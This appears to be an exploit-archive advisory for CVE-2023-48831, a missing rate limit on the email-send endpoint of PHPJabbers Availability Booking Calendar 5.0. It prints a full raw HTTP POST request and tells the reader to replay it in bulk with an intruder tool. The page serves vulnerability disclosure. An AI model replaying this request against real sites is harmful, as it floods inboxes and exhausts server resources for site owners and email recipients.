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PHPJabbers Availability Booking Calendar 5.0 Missing Rate Limiting

PHPJabbers Availability Booking Calendar 5.0 Missing Rate Limiting
Posted Dec 4, 2023
Authored by Rahad Chowdhury, BugsBD Limited

PHPJabbers Availability Booking Calendar version 5.0 suffers from a missing rate limiting control that can allow for resource exhaustion.

tags | exploit
advisories | CVE-2023-48831
SHA-256 | 6cecb49be3b4173f435cb87183129cce9d33ac6ef6f5040530cfde4c84ed1ffb

PHPJabbers Availability Booking Calendar 5.0 Missing Rate Limiting

Change Mirror Download
# Exploit Title: PHPJabbers Availability Booking Calendar v5.0 - No
Rate Limit in Email
# Date: 19/11/2023
# Exploit Author: BugsBD Limited
# Discover by: Rahad Chowdhury
# Vendor Homepage: https://www.phpjabbers.com/
# Software Link:
https://www.phpjabbers.com/availability-booking-calendar/#sectionDemo
# Version: v5.0
# Tested on: Windows 10, Windows 11, Linux
# CVE-2023-48831

Descriptions:
Rate limiting is implemented in web applications and APIs to prevent
abuse, such as brute-force attacks or excessive requests that could
lead to resource exhaustion. When a rate limit is bypassed or not
properly enforced, it opens the door for attackers to carry out
malicious activities more quickly than intended, potentially leading
to unauthorized access, data breaches, or service disruption.

Steps to Reproduce:

1. Request Data:

POST /1701526313_862/index.php?controller=pjBaseOptions&action=pjActionAjaxSend
HTTP/1.1
Host: localhost
Cookie: _ga=GA1.2.1947184974.1699512498;
_fbp=fb.1.1699512498084.844079488;
_ga_NME5VTTGTT=GS1.2.1701527599.5.1.1701527608.51.0.0;
_gcl_au=1.1.1109346785.1700383352;
_hjSessionUser_2841064=eyJpZCI6ImVlNjRmZTlkLTlmMDAtNWJmMC05OTk1LWE4ODQzMmNiMGQ0OSIsImNyZWF0ZWQiOjE3MDAzODMzNTQyMDYsImV4aXN0aW5nIjp0cnVlfQ==;
pj_sid=PJ1.0.3350592650.1700383356; pj_so=PJ1.0.9822262006.1700383356;
CarRental=pb6krbqhp0ugdgduc39iagulp2; pjd=fmfk4mh95jvo519v16tcbmfte4;
PHPSESSID=91h58pp95vek8qpp4jj62srb23;
ShuttleBooking=uhei7cs26l7eoen1bfja4ciaq2;
TSBCalendar=k2502gveirj5nhpo9ofnbpnrv2;
ABCalendar=lkoj2qi9cq5dib87qothkc9d77;
_gid=GA1.2.1184409840.1701527598; _gat=1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 502
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

options_update=1&next_action=pjActionEmailSettings&email=test1%40test.com&value-enum-o_send_email=mail%7Csmtp%3A%3Amail&value-string-o_smtp_host=&value-int-o_smtp_port=25&value-string-o_smtp_user=&value-string-o_smtp_pass=&value-enum-o_smtp_secure=none%7Cssl%7Ctls%3A%3Anone&value-enum-o_smtp_auth=LOGIN%7CPLAIN%3A%3ALOGIN&o_smtp_seder_email_same_as_username=on&value-enum-o_smtp_seder_email_same_as_username=Yes%7CNo%3A%3AYes&value-string-o_sender_email=test%40test.com&value-string-o_sender_name=Test

2. Send it to intruder and configure then attack.


## Reproduce:
[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48831)
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